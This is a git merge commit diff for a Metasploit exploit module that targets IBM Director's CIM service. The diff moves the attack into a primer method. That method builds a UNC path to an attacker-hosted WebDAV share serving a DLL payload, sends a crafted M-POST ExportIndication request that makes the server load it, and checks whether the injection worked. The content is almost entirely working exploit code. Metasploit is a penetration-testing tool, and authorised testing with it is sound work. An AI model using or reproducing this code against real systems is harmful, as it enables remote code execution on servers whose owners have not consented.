Merge branch 'ibm_director_cim_dllinject' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ibm_director_cim_dllinject

Author: sinn3r

modules/exploits/windows/misc/ibm_director_cim_dllinject.rb

@@ -274,17 +274,21 @@ def check
 
 	def exploit
 
+		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
+			fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
+		end
+
+		super
+
+	end
+
+	def primer
+
 		basename = rand_text_alpha(3)
 		share_name = rand_text_alpha(3)
-
 		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
-
 		exploit_unc  = "\\\\#{myhost}\\"
 
-		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
-			fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
-		end
-
 		vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")
 
 		@peer = "#{rhost}:#{rport}"
@@ -296,16 +300,19 @@ def exploit
 			'method'       => 'M-POST',
 			'ctype'        => 'application/xml; charset=utf-8',
 			'headers'	   => {
-				"Man"     => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
-				"CIMOperation" => "MethodCall",
-				"CIMExport" => "MethodRequest",
+				"Man"             => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
+				"CIMOperation"    => "MethodCall",
+				"CIMExport"       => "MethodRequest",
 				"CIMExportMethod" => "ExportIndication"
 			},
 			'data'         => xml_data,
-		}, 1)
-
-		super
+		})
 
+		if res and res.code == 200 and res.body =~ /CIMVERSION/
+			print_status"#{@peer} - Then injection seemed to work..."
+		else
+			fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response")
+		end
 	end
 
 end